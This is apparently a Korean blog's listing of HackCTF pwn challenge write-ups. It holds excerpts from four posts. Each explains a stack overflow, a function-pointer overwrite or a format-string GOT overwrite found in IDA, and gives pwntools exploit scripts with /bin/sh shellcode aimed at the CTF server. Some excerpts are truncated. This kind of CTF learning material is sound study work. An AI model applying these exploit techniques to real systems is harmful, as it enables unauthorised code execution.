목록시스템 해킹/HackCTF (28)
ii4gsp
파일을 다운받아 주자. IDA로 열어보면 read()함수로 name에 0x32만큼 값을 넣는다. name은 전역변수이다. 그리고 gets()함수로 변수 s에 입력을한다. gets()함수에서 취약점이 발생한다. s ~ sfp = 24 read함수로 name에 쉘 코드를 넣어놓고 ret를 name의 주소로하면 쉘을 획득한다. name의 주소는 0x0804A060 이다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Name : ')..
파일을 다운받아 주자. IDA로 열어보면 vuln()함수에서 return printf(&format); 부분에서 포맷스트링 버그가 일어난다. 쉘을 실행시키는 flag()함수가 있다. printf의 got를 flag()함수의 주소로 조작해주면 된다. flag()함수의 주소는 0x080485B4 이다. 0x080485B4는 10진수로 134,514,100이다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('/home/ii4gsp/HackCTF/basic_fsb') printf_got = e.got['printf'] payload = p32(printf_got) payload += "%134514096x%n" r.recvuntil(":") r..
파일을 다운받아 주자. IDA로 열어보면 s는 128만큼 할당받았다. fgets()함수에서는 133byte만큼 입력받는다. v5는 sup()함수를 가리키고있다. 128byte를 주고 shell()함수의 주소를 전달하면 쉘을 획득한다. shell()함수의 주소는 0x0804849B이다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3001) payload = '' payload += '\x90' * 128 payload += p32(0x0804849B) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운받아 주자. 파일을 IDA로 열어보면 v5가 0xdeadbeef면 쉘을 획득한다. s와 v5의 거리는 40byte이다. fgets()함수로 s에 45만큼 입력받으니 40byte를 채우고 0xdeadbeef를 입력해주면 된다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3000) payload = '' payload += '\x90' * (0x34 - 0xc) payload += p32(0xdeadbeef) r.sendline(payload) r.interactive() 소스코드를 작성해주자.